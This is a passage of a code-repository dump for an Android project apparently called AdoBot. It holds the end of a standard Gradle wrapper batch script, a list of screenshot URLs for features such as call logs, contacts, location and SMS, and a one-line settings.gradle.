34 | :findJavaFromJavaHome
35 | set JAVA_HOME=%JAVA_HOME:"=%
36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
37 |
38 | if exist "%JAVA_EXE%" goto init
39 |
40 | echo.
41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
42 | echo.
43 | echo Please set the JAVA_HOME variable in your environment to match the
44 | echo location of your Java installation.
45 |
46 | goto fail
47 |
48 | :init
49 | @rem Get command-line arguments, handling Windowz variants
50 |
51 | if not "%OS%" == "Windows_NT" goto win9xME_args
52 | if "%@eval[2+2]" == "4" goto 4NT_args
53 |
54 | :win9xME_args
55 | @rem Slurp the command line arguments.
56 | set CMD_LINE_ARGS=
57 | set _SKIP=2
58 |
59 | :win9xME_args_slurp
60 | if "x%~1" == "x" goto execute
61 |
62 | set CMD_LINE_ARGS=%*
63 | goto execute
64 |
65 | :4NT_args
66 | @rem Get arguments from the 4NT Shell from JP Software
67 | set CMD_LINE_ARGS=%$
68 |
69 | :execute
70 | @rem Setup the command line
71 |
72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
73 |
74 | @rem Execute Gradle
75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
76 |
77 | :end
78 | @rem End local scope for the variables with windows NT shell
79 | if "%ERRORLEVEL%"=="0" goto mainEnd
80 |
81 | :fail
82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
83 | rem the _cmd.exe /c_ return code!
84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
85 | exit /b 1
86 |
87 | :mainEnd
88 | if "%OS%"=="Windows_NT" endlocal
89 |
90 | :omega
91 |
--------------------------------------------------------------------------------
/screenshots/call-logs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/screenshots/call-logs.png
--------------------------------------------------------------------------------
/screenshots/contacts.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/screenshots/contacts.png
--------------------------------------------------------------------------------
/screenshots/location.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/screenshots/location.png
--------------------------------------------------------------------------------
/screenshots/main.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/screenshots/main.png
--------------------------------------------------------------------------------
/screenshots/notifications/notif2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/screenshots/notifications/notif2.png
--------------------------------------------------------------------------------
/screenshots/notifications/notif3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/screenshots/notifications/notif3.png
--------------------------------------------------------------------------------
/screenshots/pending-commands.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/screenshots/pending-commands.png
--------------------------------------------------------------------------------
/screenshots/sms-main-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/screenshots/sms-main-1.png
--------------------------------------------------------------------------------
/screenshots/sms-thread-5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/screenshots/sms-thread-5.png
--------------------------------------------------------------------------------
/screenshots/update-apk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/screenshots/update-apk.png
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | include ':app'
2 |
--------------------------------------------------------------------------------